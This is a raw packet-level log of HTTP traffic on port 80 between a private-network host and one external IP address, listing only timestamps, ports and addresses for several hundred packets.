Jan 14, 2022 21:05:47.763309002 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.763351917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763397932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763401031 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.763443947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763488054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763494015 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.763537884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763583899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763586998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.763628960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763673067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763674974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.763731956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763777971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763784885 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.763824940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763865948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763878107 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.763912916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763969898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.763972998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.764017105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764064074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764065027 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.764110088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764154911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764157057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.764202118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764245033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764251947 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.764291048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764333963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764348984 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.764380932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764422894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764429092 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.764468908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764516115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764519930 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.764563084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764606953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764611006 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.764653921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764697075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764710903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.764743090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764787912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764791012 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.764834881 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764879942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764883995 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.764930010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764974117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.764977932 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.765018940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.765062094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.765080929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.821486950 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.823136091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823188066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823229074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823265076 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.823283911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823328018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823339939 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.823374033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823415041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823429108 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.823462963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823518991 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823538065 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.823570013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823615074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823618889 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.823662043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823704004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823710918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.823751926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823802948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823815107 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.823856115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823903084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.823909998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.823954105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824003935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824007034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.824052095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824090958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824107885 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.824139118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824197054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824234009 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.824250937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824302912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824341059 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.824354887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824398994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824408054 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.824448109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824491024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824528933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.824553967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824595928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824608088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.824642897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824687958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824693918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.824733019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824778080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824780941 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.824825048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824867964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824881077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.824915886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824959040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.824965954 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.825006962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825051069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825058937 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.825098038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825143099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825146914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.825190067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825232983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825237989 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.825279951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825321913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825328112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.825370073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825413942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825418949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.825459003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825504065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825508118 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.825553894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825602055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.825603962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825648069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825690985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825695992 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.825737000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825781107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825787067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.825835943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825886965 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.825915098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825957060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.825998068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826010942 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.826044083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826087952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826093912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.826136112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826179981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826184988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.826226950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826267958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826275110 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.826314926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826358080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826363087 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.826402903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826447010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826448917 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.826493025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826539993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826540947 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.826586962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826627970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826632977 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.826674938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826718092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826720953 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.826764107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826807022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826812029 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.826853037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826898098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826899052 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.826942921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826986074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.826991081 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.827032089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827074051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827085972 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.827119112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827174902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827177048 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.827220917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827261925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827269077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.827310085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827353954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827357054 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.827409029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827455044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827461958 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.827498913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827545881 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827547073 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.827590942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827634096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827639103 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.827687025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827728987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827735901 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.827776909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827821970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827826023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.827867985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827913046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.827915907 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.827959061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.828001976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.828005075 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.828058958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.828102112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.828105927 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.828150034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.828193903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.828200102 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.828239918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.828283072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.828288078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.828330994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.828373909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.828378916 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.828421116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.828464031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.828469038 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.828511953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.828562021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.879652977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.879703999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.879775047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.886260033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886303902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886342049 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886364937 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.886383057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886425018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886461973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886477947 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.886503935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886534929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.886547089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886585951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886601925 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.886626005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886665106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886683941 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.886706114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886745930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886761904 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.886784077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886822939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886847973 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.886862993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886902094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886920929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.886940956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.886981010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887008905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.887021065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887062073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887074947 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.887100935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887139082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887171030 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.887191057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887228966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887253046 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.887268066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887307882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887324095 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.887347937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887388945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887406111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.887427092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887466908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887484074 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.887506008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887546062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887566090 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.887586117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887624979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887667894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887686014 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.887707949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887742996 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.887746096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887785912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887811899 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.887825012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887864113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887888908 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.887902975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887943029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.887969017 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.887981892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888022900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888039112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.888060093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888099909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888115883 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.888139963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888178110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888201952 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.888216972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888257027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888272047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.888298988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888340950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888359070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.888380051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888417959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888447046 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.888457060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888494968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888511896 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.888535976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888573885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888591051 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.888614893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888655901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888673067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.888693094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888731956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888746977 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.888771057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888808012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888834000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.888847113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888886929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888900995 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.888926029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888967037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.888995886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.889005899 CET	80	49882	81.163.30.181	192.168.2.5
